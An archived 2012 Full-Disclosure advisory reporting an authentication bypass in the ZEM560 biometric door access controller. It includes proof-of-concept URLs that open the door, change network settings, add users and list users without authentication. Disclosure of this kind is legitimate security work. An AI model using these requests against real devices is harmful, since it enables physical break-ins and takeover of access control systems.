| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Tue, 03 Apr 2012 12:07:17 -0300 From: "Zerial." <fernando@...ial.org> To: full-disclosure@...ts.grok.org.uk Subject: [ZEM560] Vulnerability on Fingerprint & Proximity Access Controller -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [+] Device: Fingerprint & Proximity Access Control [+] Model: ZEM560 and others [+] Kernel: 2.6.24 Treckle on an MIPS [+] Vulnerability: Auth Bypass [+] Impact: By using a direct URL attackers can bypass the fingerprint & proximity security and open the door. Attackers may change the device configuration, create admin users, access to reports, etc. [+] PoC: [-] Open the Door: http://ip.address/form/Device?act=9 [-] Change IP config: http://ip.address/form/Device?act=5 [-] Add users: http://ip.address/csl/user?action=add [-] Users List: http://ip.address/csl/user [+] Reference: http://blog.zerial.org/seguridad/vulnerar-la-seguridad-fisica-de-un-control-de-acceso-biometrico/ - -- Fernando A. Lagos Berardi Seguridad Informatica GNU/Linux User #382319 Blog: http://blog.zerial.org Jabber: zerial@...beres.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAk97EiUACgkQIP17Kywx9JSgzACeOKXISck5BZ9U6vtZFn127d7/ 8BcAnj+o9L4Vp1ZyMtpmSy7F4nFMW0Mx =2gnQ -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists